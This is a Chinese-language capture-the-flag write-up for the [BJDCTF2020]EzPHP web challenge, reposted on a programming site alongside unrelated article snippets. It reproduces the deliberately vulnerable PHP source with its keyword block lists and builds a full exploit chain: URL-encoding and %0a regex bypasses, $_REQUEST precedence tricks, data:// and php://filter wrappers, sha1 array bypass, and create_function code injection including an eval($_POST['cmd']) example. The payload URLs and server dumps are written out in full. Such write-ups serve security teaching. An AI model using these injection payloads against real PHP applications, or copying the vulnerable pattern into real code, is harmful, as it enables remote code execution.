[BJDCTF2020]EzPHP1

知识点:1. url编码绕过

               2. %0a绕过

               3. post优先级绕过

               4. php伪协议

               5. 数组的强类型比较绕过

               6. 取反绕过

进入之后发现了一个很帅气的页面😎~

看看网页源代码试试~

 是base32编码,尝试一下解码.

 https://www.qqxiuzi.cn/bianma/base.php

解码出来后是一个1nD3x.php的文件 ,去访问一下.

开始代码审计~

<?php
// 显示文件源码
highlight_file(__FILE__);// 关闭所有错误报告
error_reporting(0); // 设定默认的文件名和变量
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';// 欢迎信息
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";// 检查$_SERVER全局数组是否存在
if($_SERVER) { // 如果查询字符串包含特定的字符或关键字则终止脚本执行if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))die('You seem to want to do something bad?'); 
}// 检查GET参数'file'是否是合法的URL
if (!preg_match('/http|https/i', $_GET['file'])) {// 检查GET参数'debu'是否为'aqua_is_cute'且不等于这个值if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');// 遍历所有请求参数,检查是否有英文字符
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!');}
}// 检查文件内容是否为特定字符串
if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");// 检查sha1($shana)是否与sha1($passwd)相等且两者的值不同
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){// 提取GET参数中的flag变量extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}// 检查$code和$arg是否包含危险的字符串或命令
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { // 包含flag.php文件include "flag.php";// 调用$code函数并传递$arg参数$code('', $arg);
}

首先我们要绕过的是.

if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
} 

知识点:$_SERVER['QUERY_STRING'] 是一个预定义的 PHP 变量,它包含了 URL 中跟在问号 (?) 后面的所有数据,即 GET 请求参数的原始字符串形式.  

所以我们GET请求的键值对都绕绕过这个preg_math(),我们可以用url编码来绕过,因为当我们使用GET参数执行过程中PHP会自动进行url解码,而SERVER不会.

下面是url编码的python代码.

value=input("url : ")
letter=list(value)
letter_new=''
for i in letter:if i=="=" or i=="&" or i=="[" or i=="]" or i==";" or i=="//":letter_new+=icontinueletter_new+="%"+hex(ord(i))[2:]
print(letter_new)

之后我们来绕过下面的preg_math().

if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!'); 

我们可以传入两个参数分别为file和debu,而我们只需要传入debu的参数便可以绕过, 由于preg_math()是非/s的模式,所以我们可以使用%0a来绕过.

知识点:/s 模式被称为“单行”模式。在正则表达式中,默认情况下,.(点)字符匹配任何单个字符,除了换行符 \n。然而,当你在正则表达式中包含 /s 标志时,. 将匹配包括换行符在内的任何单个字符,我们在尾部加上%0a,preg_math()不会匹配到它,从而绕过. 

开始构造payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a

由于第一个preg_math()的限制使用url编码.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a

开始绕过第三个过滤代码.

if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
}  

循环$_REQUEST中的value并确保他们不是字母. 

我们可以利用POST请求的优先级比GET请求高的特点来绕过 .

知识点:1.在默认情况下(或当 request_order 包含 "P" 在 "G" 之后时),如果 $_GET 和 $_POST 包含相同名称的键,$_REQUEST 中的值将是 $_POST 里的那个参数的值。

               2.在PHP中,$_REQUEST 数组包含了 $_GET、$_POST 和 $_COOKIE 的内容(如果有的话)。

我们可以构造以下payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65post: debu=1

值得注意的是上面提到的$_COOKIE,所以我们要确保$_COOKIE的value不存在,或者为数字.

开始绕过第四个过滤语句.

if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>"); 

这里要使我们传入的file参数中,读取的file文件内容为 debu_debu_aqua,我们可以使用php://input或者是data://text,plain两个为协议来绕过,并且我们需要绕过第一个preg_math(),所以需要进行url编码和base64编码,同时也需要绕过第三个过滤.

开始构造payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aquapost:debu=1&file=2

url编码后为.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61debu=1&file=2

开始绕过第五个过滤.

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
} 

典型了强类型比较数组绕过,不要忘了url编码.

开始构造payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2post:debu=1&file=2

编码后为.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32post:debu=1&file=2

开始最后一个过滤绕过.

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>

这里可以使用create_function()代码注入. 

知识点:     

$myfunc = create_function('$a, $b', 'return $a+$b;');

相当于:

function myfunc($a, $b){return $a+$b;
}

若$b对传入的值没有限制,则可以使用$code=return $a+$b;}eval($_POST['cmd']);//该payload构造命令执行,也就是:

function myfunc($a, $b){return $a+$b;
}
eval($_POST['cmd']);//}

所以我们可以通过倒数第二个的过滤中的flag传参来控制 code和arg两个参数.

由于很多函数被禁用了,我们使用get_defined_vars()读取所有的变量与值来构造payload.

flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function// 等价于
function{
}
var_dump(get_defined_vars());//}

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_functionpost:debu=1&file=2

url编码为. 

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_functionpost:debu=1&file=2

得到了一张图片和所有的键值对.

flag灏卞湪杩欓噷锛屼綘鑳芥嬁鍒板畠鍚楋紵array(13) { ["_GET"]=> array(5) { ["debu"]=> string(13) "aqua_is_cute " ["file"]=> string(32) "data://text/plain,debu_debu_aqua" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["flag"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } } ["_POST"]=> array(2) { ["debu"]=> string(1) "1" ["file"]=> string(1) "2" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["_SERVER"]=> array(65) { ["PHP_EXTRA_CONFIGURE_ARGS"]=> string(77) "--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi" ["KUBERNETES_SERVICE_PORT"]=> string(3) "443" ["KUBERNETES_PORT"]=> string(20) "tcp://10.240.0.1:443" ["HOSTNAME"]=> string(3) "out" ["PHP_INI_DIR"]=> string(18) "/usr/local/etc/php" ["SHLVL"]=> string(1) "1" ["HOME"]=> string(14) "/home/www-data" ["PHP_LDFLAGS"]=> string(34) "-Wl,-O1 -Wl,--hash-style=both -pie" ["PHP_CFLAGS"]=> string(83) "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" ["PHP_MD5"]=> string(0) "" ["PHP_VERSION"]=> string(6) "7.3.13" ["GPG_KEYS"]=> string(81) "CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D" ["PHP_CPPFLAGS"]=> string(83) "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" ["PHP_ASC_URL"]=> string(62) "https://www.php.net/get/php-7.3.13.tar.xz.asc/from/this/mirror" ["PHP_URL"]=> string(58) "https://www.php.net/get/php-7.3.13.tar.xz/from/this/mirror" ["KUBERNETES_PORT_443_TCP_ADDR"]=> string(10) "10.240.0.1" ["PATH"]=> string(60) "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ["KUBERNETES_PORT_443_TCP_PORT"]=> string(3) "443" ["KUBERNETES_PORT_443_TCP_PROTO"]=> string(3) "tcp" ["KUBERNETES_SERVICE_PORT_HTTPS"]=> string(3) "443" ["KUBERNETES_PORT_443_TCP"]=> string(20) "tcp://10.240.0.1:443" ["PHPIZE_DEPS"]=> string(78) "autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c" ["KUBERNETES_SERVICE_HOST"]=> string(10) "10.240.0.1" ["PWD"]=> string(13) "/var/www/html" ["PHP_SHA256"]=> string(64) "57ac55fe442d2da650abeb9e6fa161bd3a98ba6528c029f076f8bba43dd5c228" ["FLAG"]=> string(4) "null" ["USER"]=> string(8) "www-data" ["HTTP_X_FORWARDED_FOR"]=> string(25) "121.26.229.182, 127.0.0.1" ["HTTP_UPGRADE_INSECURE_REQUESTS"]=> string(1) "1" ["HTTP_REMOTE_HOST"]=> string(14) "121.26.229.182" ["HTTP_REFERER"]=> string(237) "http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32" ["HTTP_PRIORITY"]=> string(6) "u=0, i" ["HTTP_ORIGIN"]=> string(61) "http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81" ["HTTP_CONTENT_TYPE"]=> string(33) "application/x-www-form-urlencoded" ["HTTP_ACCEPT_LANGUAGE"]=> string(59) "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" ["HTTP_ACCEPT_ENCODING"]=> string(13) "gzip, deflate" ["HTTP_ACCEPT"]=> string(109) "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8" ["HTTP_CONTENT_LENGTH"]=> string(2) "13" ["HTTP_USER_AGENT"]=> string(80) "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0" ["HTTP_HOST"]=> string(51) "adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn" ["SCRIPT_FILENAME"]=> string(23) "/var/www/html/1nD3x.php" ["REDIRECT_STATUS"]=> string(3) "200" ["SERVER_NAME"]=> string(9) "localhost" ["SERVER_PORT"]=> string(2) "80" ["SERVER_ADDR"]=> string(12) "10.244.80.11" ["REMOTE_PORT"]=> string(5) "36758" ["REMOTE_ADDR"]=> string(12) "10.244.80.35" ["SERVER_SOFTWARE"]=> string(12) "nginx/1.16.1" ["GATEWAY_INTERFACE"]=> string(7) "CGI/1.1" ["REQUEST_SCHEME"]=> string(4) "http" ["SERVER_PROTOCOL"]=> string(8) "HTTP/1.1" ["DOCUMENT_ROOT"]=> string(13) "/var/www/html" ["DOCUMENT_URI"]=> string(10) "/1nD3x.php" ["REQUEST_URI"]=> string(276) "/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" ["SCRIPT_NAME"]=> string(10) "/1nD3x.php" ["CONTENT_LENGTH"]=> string(2) "13" ["CONTENT_TYPE"]=> string(33) "application/x-www-form-urlencoded" ["REQUEST_METHOD"]=> string(4) "POST" ["QUERY_STRING"]=> string(265) "%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" ["FCGI_ROLE"]=> string(9) "RESPONDER" ["PHP_SELF"]=> string(10) "/1nD3x.php" ["REQUEST_TIME_FLOAT"]=> float(1720874272.6966) ["REQUEST_TIME"]=> int(1720874272) ["argv"]=> array(1) { [0]=> string(265) "%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" } ["argc"]=> int(1) } ["_REQUEST"]=> array(5) { ["debu"]=> string(1) "1" ["file"]=> string(1) "2" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["flag"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } } ["file"]=> string(32) "data://text/plain,debu_debu_aqua" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" ["value"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } ["ffffffff11111114ggggg"]=> string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333" } 

最后面显示 I hid the real flag in rea1fl4g.php,所以我们要找的flag就在rea1f14g.php这个文件中.

首先最后一个过滤了inc 可以用require以代替,flag可以用base64编码来绕过,我们可以先包含flag文件后再用var_dump(get_defined_vars())来读取flag.

require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars);

开始构造payload.

http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_functionpost:debu=1&file=2

url编码后为. 

http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}%72%65%71%75%69%72%65(%62%61%73%65%36%34%5f%64%65%63%6f%64%65(%63%6d%56%68%4d%57%5a%73%4e%47%63%75%63%47%68%77));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_functionpost:debu=1&file=2

结果为. 

实际上呢,得到了假的flag,这是不可以的,下面的源代码.

<?php
echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{2622b627-3f03-4c10-9cdd-ba90b42de5e8}";
unset($rea1_f1114g);

 包含了flag文件后$real_f1114g会被unset掉,所以我们可以用php为协议去读取该文件的内容.

php://filter/convert.base64-encode/resource=rea1fl4g.php

之后取反绕过.

<?php$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);

开始构造payload.

http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//&%66%6c%61%67[%63%6f%64%65]=create_functionpost:debu=1&file=2

结果如下. 

PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFne2MyNGVlOTE3LTQyZjMtNGYxMy04NzJjLTc1YzdmZjkzZTA3OH0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo= 

将其进行base64解码.

https://www.toolhelper.cn/EncodeDecode/Base64

得到flag,游戏结束~ 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/871846.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot+Vue实现简单的文件上传(Excel篇)

SpringBootVue实现简单的文件上传 1 环境 SpringBoot 3.2.1&#xff0c;Vue 2&#xff0c;ElementUI 2 页面 3 效果&#xff1a;只能上传xls文件且大小限制为2M&#xff0c;选择文件后自动上传。 4 前端代码 <template><div class"container"><el…

Java---类与对象(二)

乐观学习&#xff0c;乐观生活&#xff0c;才能不断前进啊&#xff01;&#xff01;&#xff01; 我的主页&#xff1a;optimistic_chen 我的专栏&#xff1a;c语言 欢迎大家访问~ 创作不易&#xff0c;大佬们点赞鼓励下吧~ 文章目录 封装访问限定符&#xff08;重点&#xff0…

基于springboot 大学校园拼够系统设计与实现

摘 要 大学校园拼购系统是为了方便用户能够在网站上查看校园拼购、公告信息等&#xff0c;于是开发了基于springboot框架设计与实现了一款简洁、轻便的大学校园拼购系统。本系统解决了大学校园拼购管理事务中的主要问题&#xff0c;包括以下多个功能模块&#xff1a;商家、用户…

apollo国产化部署配置

数据库配置 数据修改如下 apolloconfigdb库下serverconfig表 key为eureka.service.url的value值为对应的Eureka服务Urlapolloportaldb库下serverconfig表 将对应的key为apollo.portal.envs的value值改为直接配置的地址如下jar启动命令dev_meta、fat_meta、uat_meta、pro_meta则…

玩转springboot之springboot集成redis乱码问题

springboot集成redis乱码问题 在使用redis操作字符串时发现会变成乱码&#xff0c;这是因为RedisTemplate默认是使用的是JdkSerializationRedisSerializer序列化方式&#xff0c;这里可以使用StringRedisTemplate来进行操作&#xff0c;StringRedisTemplate中默认使用的是Stri…

c语言选择屏幕分辨率

#include <stdio.h> // 定义一些可能的分辨率 typedef struct { int width; int height; } Resolution; Resolution resolutions[] { {640, 480}, {1024, 768}, {1280, 720}, {1920, 1080}, {2560, 1440}, {3840, 2160} }; // 根据输入…

相机-雷达联合标定direct_visual_lidar_calibration开源算法编译踩坑记录

基于场景的相机-雷达联合标定编译记录direct_visual_lidar_calibration 编译 1.本机环境Ubuntu18.04 Melodic 相关依赖版本&#xff1a;Cmake-3.18.0 gcc-8.4.0 pcl-1.13.0 2.相关依赖 # Install dependenciessudo apt install libomp-dev libboost-all-dev libglm-dev li…

Kylin系列(八)实时分析:实现 Kylin 实时数据处理

目录 1. 数据流配置 1.1 Kafka配置 1.2 数据生产者配置 1.3 Kylin的Kafka数据源配置 2. 实时Cube构建 2.1 创建实时Cube 2.2 配置增量构建策略 2.3 配置Kafka数据同步 3. 查询优化 3.1 配置查询缓存 3.2 优化查询语句 3.3 使用并行查询 4. 实例演示 4.1 数据生成…

Linux 工作队列(Workqueue):概念与实现

目录 一、工作队列的概念1.1 什么是工作队列1.2 为什么使用工作队列 二、工作队列的实现2.1 定义和初始化工作队列2.2 工作队列API 三、工作队列的应用3.1 延迟执行任务3.2 处理复杂的中断任务 四、工作队列的类型4.1 普通工作队列4.2 高优先级工作队列 五、总结 在Linux内核中…

Golang | Leetcode Golang题解之第229题多数元素II

题目&#xff1a; 题解&#xff1a; func majorityElement(nums []int) (ans []int) {cnt : map[int]int{}for _, v : range nums {cnt[v]}for v, c : range cnt {if c > len(nums)/3 {ans append(ans, v)}}return }

kaggle加载训练好的模型

kaggle加载训练好的模型 问题 已经在kaggle平台保存了&#xff08;保存在电脑本地&#xff09;一个自己训练好的模型&#xff0c;然后如何在一个新建的notebook中使用自己训练好的模型呢 解答 先确定自己使用了哪个框架的模型&#xff08;keras,pytorch,timm等&#xff09;…

找到完美的横道图工具:2024年选择指南

国内外主流的10款项目进度横道图软件对比&#xff1a;PingCode、Worktile、灵动计划&#xff08;Wolai&#xff09;、飞书项目、Tapd、麦客CRM、Asana、Trello、Smartsheet、Basecamp。 在管理项目时&#xff0c;确保所有进度和任务都按计划进行是每个项目经理面临的一大挑战。…

Excel如何才能忽略隐藏行进行复制粘贴?

你有没有遇到这样的情况&#xff1a;数据很多&#xff0c;将一些数据隐藏后&#xff0c;进行复制粘贴&#xff0c;结果发现粘贴后的内容仍然将整个数据都显示出来了&#xff01;那么&#xff0c;Excel如何才能忽略隐藏行进行复制粘贴&#xff1f; 打开你的Excel表格 Excel如何…

WordPress:无法创建新文章?创建新帖子时候页面空白

wordPress中我们新建文章的时候&#xff0c;会遇到页面空白&#xff0c;这个问题是怎么导致呢&#xff1f;我们可以打开F12开发者模式看下报错信息&#xff0c;这是一个警告信息 Warning: Creating default object from empty value in /pub 到数据库 wp_posts中查看生成了很…

力扣题解(不相交的线)

1035. 不相交的线 在两条独立的水平线上按给定的顺序写下 nums1 和 nums2 中的整数。 现在&#xff0c;可以绘制一些连接两个数字 nums1[i] 和 nums2[j] 的直线&#xff0c;这些直线需要同时满足&#xff1a; nums1[i] nums2[j]且绘制的直线不与任何其他连线&#xff08;非水…

漏洞挖掘 | 记某证书站任意账号接管漏洞

下文中所述漏洞已修复 在前段时间的漏洞挖掘中&#xff0c;上了某证书站&#xff0c;打点的一处逻辑漏洞 访问某一站点&#xff0c;发现了一处登录页 点击登录按钮之后&#xff0c;发现该站点大概率是自写站点&#xff0c;存在逻辑漏洞的可能性大大增大&#xff0c;利用前期信…

Android gradle groovy改为kotlin总结

前言&#xff1a; Android gradle 的 Groovy 转 Kotlin 的难点在于groovy非常不规范&#xff0c;以为是一个变量其实是一个方法&#xff0c;以为是方法其实是一个一个字符串&#xff0c;koltin提供了更严格的语法。改为kotlin之后最大的变化就是扩展字段了&#xff0c;和groovy…

CentOS7配置阿里云yum源

前提&#xff1a;确认机器可以连接互联网&#xff0c;且系统已经安装了wget软件 先进入到/etc/yum.repos.d目录下查看是否有原来的yum源配置文件&#xff0c;如果有&#xff0c;就将它们备份一下 用yum repolist命令测试&#xff0c;当前系统已经没有可用yum源 输入命令wget -…

Java二十三种设计模式-建造者模式(4/23)

建造者模式&#xff1a;构建复杂对象的专家 引言 建造者模式&#xff08;Builder Pattern&#xff09;是一种创建型设计模式&#xff0c;用于创建一个复杂的对象&#xff0c;同时允许用户只通过指定复杂对象的类型和内容就能构建它们&#xff0c;它将对象的构建和表示分离&am…

【机器学习】12.十大算法之一支持向量机(SVM - Support Vector Machine)算法原理讲解

【机器学习】12.十大算法之一支持向量机&#xff08;SVM - Support Vector Machine&#xff09;算法原理讲解 一摘要二个人简介三基本概念四支持向量与超平面4.1 超平面&#xff08;Hyperplane&#xff09;4.2 支持向量&#xff08;Support Vectors&#xff09;4.3 核技巧&…